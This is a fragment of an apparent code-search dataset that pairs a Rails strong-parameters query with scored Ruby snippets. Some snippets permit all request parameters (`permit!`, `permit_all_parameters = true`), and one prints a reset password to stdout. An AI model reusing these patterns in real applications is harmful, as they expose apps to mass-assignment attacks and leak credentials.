self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self\n end", "title": "" }, { "docid": "ac801615d593c8fb504dbcf80f4a9476", "score": "0.52211154", "text": "def rekey!\n iv = AES3::new_iv\n key = AES3::new_key\n add_key(iv, key)\n @default = @ring[iv]\n return [ iv, key ]\n end", "title": "" }, { "docid": "087c62f5d597cdbcb8cd1cefe18852f5", "score": "0.5220953", "text": "def reset_config\n @config = {}\n end", "title": "" }, { "docid": "087c62f5d597cdbcb8cd1cefe18852f5", "score": "0.5220953", "text": "def reset_config\n @config = {}\n end", "title": "" }, { "docid": "087c62f5d597cdbcb8cd1cefe18852f5", "score": "0.5220953", "text": "def reset_config\n @config = {}\n end", "title": "" }, { "docid": "2ecbb261aa33725f67c2b7c997d0c3e8", "score": "0.52183723", "text": "def reset\n DEFAULTS.each do |key, val|\n send(key + \"=\", val)\n end\n end", "title": "" }, { "docid": "a5ad2f3878a6fc12378e7335d181a57a", "score": "0.52165395", "text": "def reset! key = nil\n if key.nil?\n @values.clear\n else\n key = ::Kernel.String(key).to_sym\n @values.delete key\n end\n self\n end", "title": "" }, { "docid": "f8cc0d671c4686160dc167d90413eeb3", "score": "0.52150977", "text": "def delete(key)\n @config.delete key.to_sym\n end", "title": "" }, { "docid": "c6139b3e404dfae79ec5659eb45958ff", "score": "0.5214279", "text": "def reset_pw\n\t\tmake_salt\n\t\tpass = SecureRandom.base64[0,6]\n\t\tself.password = encrypt_pw(pass)\n self.force_new_pw = true\n puts pass\n\t\tpass\n\tend", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "a08a6de08b87179ffe77bfaa7c64838d", "score": "0.0", "text": "def training_group_params\n params.require(:training_group).permit(:name, :description, :department_id, :age_begin, :age_end, :ancient,\n :photo_id,\n :trainer_ids => [],\n :training_units_attributes => [:id, :week_day, :time_begin, :time_end, :location_summer_id, :location_winter_id, :training_group_id, :_destroy],\n :gallery_ids => [], :document_ids => [])\n #:photo_attributes => [:file, :id],\n # http://stackoverflow.com/questions/18436741/rails-4-strong-parameters-nested-objects#answer-18437539\n # https://github.com/nathanvda/cocoon\n end", "title": "" } ]
[ { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.69792545", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.6781151", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1677b416ad07c203256985063859691b", "score": "0.67419964", "text": "def allow_params_authentication!; end", "title": "" }, { "docid": "c1f317213d917a1e3cfa584197f82e6c", "score": "0.674013", "text": "def allowed_params\n ALLOWED_PARAMS\n end", "title": "" }, { "docid": "547b7ab7c31effd8dcf394d3d38974ff", "score": "0.6734356", "text": "def default_param_whitelist\n [\"mode\"]\n end", "title": "" }, { "docid": "a91e9bf1896870368befe529c0e977e2", "score": "0.6591046", "text": "def param_whitelist\n [:role, :title]\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.6502396", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "3a9a65d2bba924ee9b0f67cb77596482", "score": "0.6496313", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.6480641", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6477825", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.64565", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "9a2a1af8f52169bd818b039ef030f513", "score": "0.6438387", "text": "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.63791263", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.63740575", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "9735bbaa391eab421b71a4c1436d109e", "score": "0.6364131", "text": "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "12fa2760f5d16a1c46a00ddb41e4bce2", "score": "0.63192815", "text": "def param_whitelist\n [:rating, :review]\n end", "title": "" }, { "docid": "f12336a181f3c43ac8239e5d0a59b5b4", "score": "0.62991166", "text": "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "title": "" }, { "docid": "c25a1ea70011796c8fcd4927846f7a04", "score": "0.62978333", "text": "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.6292148", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "7f0fd756d3ff6be4725a2c0449076c58", "score": "0.6290449", "text": "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "title": "" }, { "docid": "9d23b31178b8be81fe8f1d20c154336f", "score": "0.6290076", "text": "def valid_params_request?; end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.62894756", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "5f16bb22cb90bcfdf354975d17e4e329", "score": "0.6283177", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "1dfca9e0e667b83a9e2312940f7dc40c", "score": "0.6242471", "text": "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.62382483", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "4fc36c3400f3d5ca3ad7dc2ed185f213", "score": "0.6217549", "text": "def permitted_params\n []\n end", "title": "" }, { "docid": "7a218670e6f6c68ab2283e84c2de7ba8", "score": "0.6214457", "text": "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.6209053", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.6193042", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.6177802", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.6174604", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.61714715", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "9d589006a5ea3bb58e5649f404ab60fb", "score": "0.6161512", "text": "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "title": "" }, { "docid": "d578c7096a9ab2d0edfc431732f63e7f", "score": "0.6151757", "text": "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.6150663", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "7a6fbcc670a51834f69842348595cc79", "score": "0.61461", "text": "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "title": "" }, { "docid": "fe4025b0dd554f11ce9a4c7a40059912", "score": "0.61213595", "text": "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.611406", "text": "def check_params; true; end", "title": "" }, { "docid": "60ccf77b296ed68c1cb5cb262bacf874", "score": "0.6106206", "text": "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6105114", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "86b2d48cb84654e19b91d9d3cbc2ff80", "score": "0.6089039", "text": "def valid_params?; end", "title": "" }, { "docid": "34d018968dad9fa791c1df1b3aaeccd1", "score": "0.6081015", "text": "def paramunold_params\n params.require(:paramunold).permit!\n end", "title": "" }, { "docid": "6d41ae38c20b78a3c0714db143b6c868", "score": "0.6071004", "text": "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.60620916", "text": "def filtered_parameters; end", "title": "" }, { "docid": "49052f91dd936c0acf416f1b9e46cf8b", "score": "0.6019971", "text": "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "title": "" }, { "docid": "5eaf08f3ad47cc781c4c1a5453555b9c", "score": "0.601788", "text": "def filtering_params\n params.permit(:email, :name)\n end", "title": "" }, { "docid": "5ee931ad3419145387a2dc5a284c6fb6", "score": "0.6011056", "text": "def check_params\n true\n end", "title": "" }, { "docid": "3b17d5ad24c17e9a4c352d954737665d", "score": "0.6010898", "text": "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6005122", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "74c092f6d50c271d51256cf52450605f", "score": "0.6001556", "text": "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "title": "" }, { "docid": "75415bb78d3a2b57d539f03a4afeaefc", "score": "0.6001049", "text": "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "title": "" }, { "docid": "bb32aa218785dcd548537db61ecc61de", "score": "0.59943926", "text": "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "title": "" }, { "docid": "65fa57add93316c7c8c6d8a0b4083d0e", "score": "0.5992201", "text": "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "title": "" }, { "docid": "865a5fdd77ce5687a127e85fc77cd0e7", "score": "0.59909594", "text": "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "ec609e2fe8d3137398f874bf5ef5dd01", "score": "0.5990628", "text": "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "title": "" }, { "docid": "423b4bad23126b332e80a303c3518a1e", "score": "0.5980841", "text": "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "title": "" }, { "docid": "48e86c5f3ec8a8981d8293506350accc", "score": "0.59669393", "text": "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "title": "" }, { "docid": "9f774a9b74e6cafa3dd7fcc914400b24", "score": "0.59589154", "text": "def active_code_params\n params[:active_code].permit\n end", "title": "" }, { "docid": "a573514ae008b7c355d2b7c7f391e4ee", "score": "0.5958826", "text": "def filtering_params\n params.permit(:email)\n end", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.5957911", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "8b571e320cf4baff8f6abe62e4143b73", "score": "0.5957385", "text": "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5953072", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" }, { "docid": "f18c8e1c95a8a21ba8cd6fbc6d4d524a", "score": "0.59526145", "text": "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "title": "" }, { "docid": "4e6017dd56aab21951f75b1ff822e78a", "score": "0.5943361", "text": "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.59386164", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.59375334", "text": "def filter_parameters; end", "title": "" }, { "docid": "5060615f2c808bab2d45f4d281987903", "score": "0.5933856", "text": "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59292704", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "d9483565c400cd4cb1096081599a7afc", "score": "0.59254247", "text": "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.5924164", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.59167904", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.59088355", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "3eef50b797f6aa8c4def3969457f45dd", "score": "0.5907542", "text": "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "753b67fc94e3cd8d6ff2024ce39dce9f", "score": "0.59064597", "text": "def url_whitelist; end", "title": "" }, { "docid": "f9f0da97f7ea58e1ee2a5600b2b79c8c", "score": "0.5906243", "text": "def admin_social_network_params\n params.require(:social_network).permit!\n end", "title": "" }, { "docid": "5bdab99069d741cb3414bbd47400babb", "score": "0.5898226", "text": "def filter_params\n params.require(:filters).permit(:letters)\n end", "title": "" }, { "docid": "7c5ee86a81b391c12dc28a6fe333c0a8", "score": "0.589687", "text": "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "title": "" }, { "docid": "de77f0ab5c853b95989bc97c90c68f68", "score": "0.5896091", "text": "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "title": "" }, { "docid": "29d030b36f50179adf03254f7954c362", "score": "0.5894501", "text": "def sensitive_params=(params)\n @sensitive_params = params\n end", "title": "" }, { "docid": "bf321f5f57841bb0f8c872ef765f491f", "score": "0.5894289", "text": "def permit_request_params\n params.permit(:address)\n end", "title": "" }, { "docid": "5186021506f83eb2f6e244d943b19970", "score": "0.5891739", "text": "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "title": "" }, { "docid": "b85a12ab41643078cb8da859e342acd5", "score": "0.58860534", "text": "def secure_params\n params.require(:location).permit(:name)\n end", "title": "" }, { "docid": "46e104db6a3ac3601fe5904e4d5c425c", "score": "0.5882406", "text": "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.587974", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "26a35c2ace1a305199189db9e03329f1", "score": "0.58738774", "text": "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "title": "" }, { "docid": "de49fd084b37115524e08d6e4caf562d", "score": "0.5869024", "text": "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "title": "" }, { "docid": "7b7ecfcd484357c3ae3897515fd2931d", "score": "0.58679986", "text": "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "0016f219c5d958f9b730e0824eca9c4a", "score": "0.5867561", "text": "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "title": "" }, { "docid": "8aa9e548d99691623d72891f5acc5cdb", "score": "0.5865932", "text": "def url_params\n params[:url].permit(:full)\n end", "title": "" }, { "docid": "c6a8b768bfdeb3cd9ea388cd41acf2c3", "score": "0.5864461", "text": "def backend_user_params\n params.permit!\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.58639693", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "967c637f06ec2ba8f24e84f6a19f3cf5", "score": "0.58617616", "text": "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "title": "" }, { "docid": "e4a29797f9bdada732853b2ce3c1d12a", "score": "0.5861436", "text": "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "title": "" }, { "docid": "d14f33ed4a16a55600c556743366c501", "score": "0.5860451", "text": "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "title": "" }, { "docid": "46cb58d8f18fe71db8662f81ed404ed8", "score": "0.58602303", "text": "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "title": "" }, { "docid": "7e9a6d6c90f9973c93c26bcfc373a1b3", "score": "0.5854586", "text": "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "title": "" }, { "docid": "ad61e41ab347cd815d8a7964a4ed7947", "score": "0.58537364", "text": "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "title": "" }, { "docid": "8894a3d0d0ad5122c85b0bf4ce4080a6", "score": "0.5850427", "text": "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "title": "" }, { "docid": "53d84ad5aa2c5124fa307752101aced3", "score": "0.5850199", "text": "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "title": "" } ]
356cd4fa8b1ea5d99106f195d342d4f7
getting params ready to get 'stringed'
[ { "docid": "ef8df8e3e4b6e3ebf4c751353e282049", "score": "0.0", "text": "def process_params\n p = add_timestamp_to_params(@params)\n p = camelize_params(p)\n encode_params(p)\n end", "title": "" } ]
[ { "docid": "a9c7a26321aece97177c8759acb05ab5", "score": "0.740585", "text": "def params() request.params end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.72900885", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.72900885", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.7289412", "text": "def params; end", "title": "" }, { "docid": "7ba07daf235cb0fe536bff23b0194efc", "score": "0.72236276", "text": "def prepare_params\n \n end", "title": "" }, { "docid": "11aab8e9695616c3412a5a75cdcaf0f8", "score": "0.7216123", "text": "def request_params; end", "title": "" }, { "docid": "11aab8e9695616c3412a5a75cdcaf0f8", "score": "0.7216123", "text": "def request_params; end", "title": "" }, { "docid": "46fd8eda8df01af425087c1f4001f104", "score": "0.7156955", "text": "def sec_params; [] end", "title": "" }, { "docid": "821c32ece28e6bac3d394b0d7056bc4b", "score": "0.71062994", "text": "def params; request.params; end", "title": "" }, { "docid": "821c32ece28e6bac3d394b0d7056bc4b", "score": "0.71062994", "text": "def params; request.params; end", "title": "" }, { "docid": "15ddace2f26312d452416583d7b54c39", "score": "0.70970744", "text": "def params\n \n end", "title": "" }, { "docid": "47f9ab1e975318c1622e0d6d5979c2f1", "score": "0.70767325", "text": "def extract_params!(request); end", "title": "" }, { "docid": "3aa0b7225c1e022a05b23307522b2745", "score": "0.70754087", "text": "def prepare_request params\n Hash[ params.map{ |p| [p, config.send(p)] } ]\n end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.70503795", "text": "def params(*) end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.70503795", "text": "def params(*) end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.70503795", "text": "def params(*) end", "title": "" }, { "docid": "0812ac0baec42937f68895fbbe182710", "score": "0.70503795", "text": "def params(*) end", "title": "" }, { "docid": "7be54e0498668ea29679022ae4d0c9f1", "score": "0.7045278", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "7be54e0498668ea29679022ae4d0c9f1", "score": "0.7045278", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "7be54e0498668ea29679022ae4d0c9f1", "score": "0.7045278", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "18258908649263e22022f27f0275cfb8", "score": "0.7012593", "text": "def request_params=(_arg0); end", "title": "" }, { "docid": "22cec6ca2584c903fef9a85c5e466333", "score": "0.7001905", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "22cec6ca2584c903fef9a85c5e466333", "score": "0.7001905", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "410f5eaf98c7a6ce94bce08fc6bcb3d1", "score": "0.6982161", "text": "def prepare_params _params\n _params ? _params.flatten : []\n end", "title": "" }, { "docid": "da78eac5daa6e015957dd57760741c8c", "score": "0.6980281", "text": "def params\n @params ||= parse_params\n end", "title": "" }, { "docid": "5023da5c5efbabdc72823625e880c0a1", "score": "0.6966409", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "0432e381c2e1464261a2e270ad0beb1d", "score": "0.6962978", "text": "def obtain\n @params\n end", "title": "" }, { "docid": "e533d3f339dd4af414772f63b3225cc7", "score": "0.6950588", "text": "def params; {}; end", "title": "" }, { "docid": "e533d3f339dd4af414772f63b3225cc7", "score": "0.6950588", "text": "def params; {}; end", "title": "" }, { "docid": "8d3b8086039edf02e549c2ba6d418f91", "score": "0.6934852", "text": "def params\n @params ||= []\n end", "title": "" }, { "docid": "a8d7a9b5f0a44c6cc3dd68584e0a5f08", "score": "0.69204473", "text": "def _run_params(params)\n params\n end", "title": "" }, { "docid": "f9e4fa2e6f273f78fe6955d4c368476d", "score": "0.6911052", "text": "def params\n @params ||= {}\n end", "title": "" }, { "docid": "9f918c60e29d92245d4daff49626824d", "score": "0.68951297", "text": "def pagy_get_params(params) params end", "title": "" }, { "docid": "9f918c60e29d92245d4daff49626824d", "score": "0.68951297", "text": "def pagy_get_params(params) params end", "title": "" }, { "docid": "c7386051d760980f91789845a634ec20", "score": "0.68253404", "text": "def params\n @params\n end", "title": "" }, { "docid": "c7386051d760980f91789845a634ec20", "score": "0.68253404", "text": "def params\n @params\n end", "title": "" }, { "docid": "3c39d545f1af86e519f83831715e473c", "score": "0.6815124", "text": "def query_parameters; end", "title": "" }, { "docid": "7fecec411fdc5bf95e4f9bb8180b8854", "score": "0.68121016", "text": "def params_to_pass\n settings\n end", "title": "" }, { "docid": 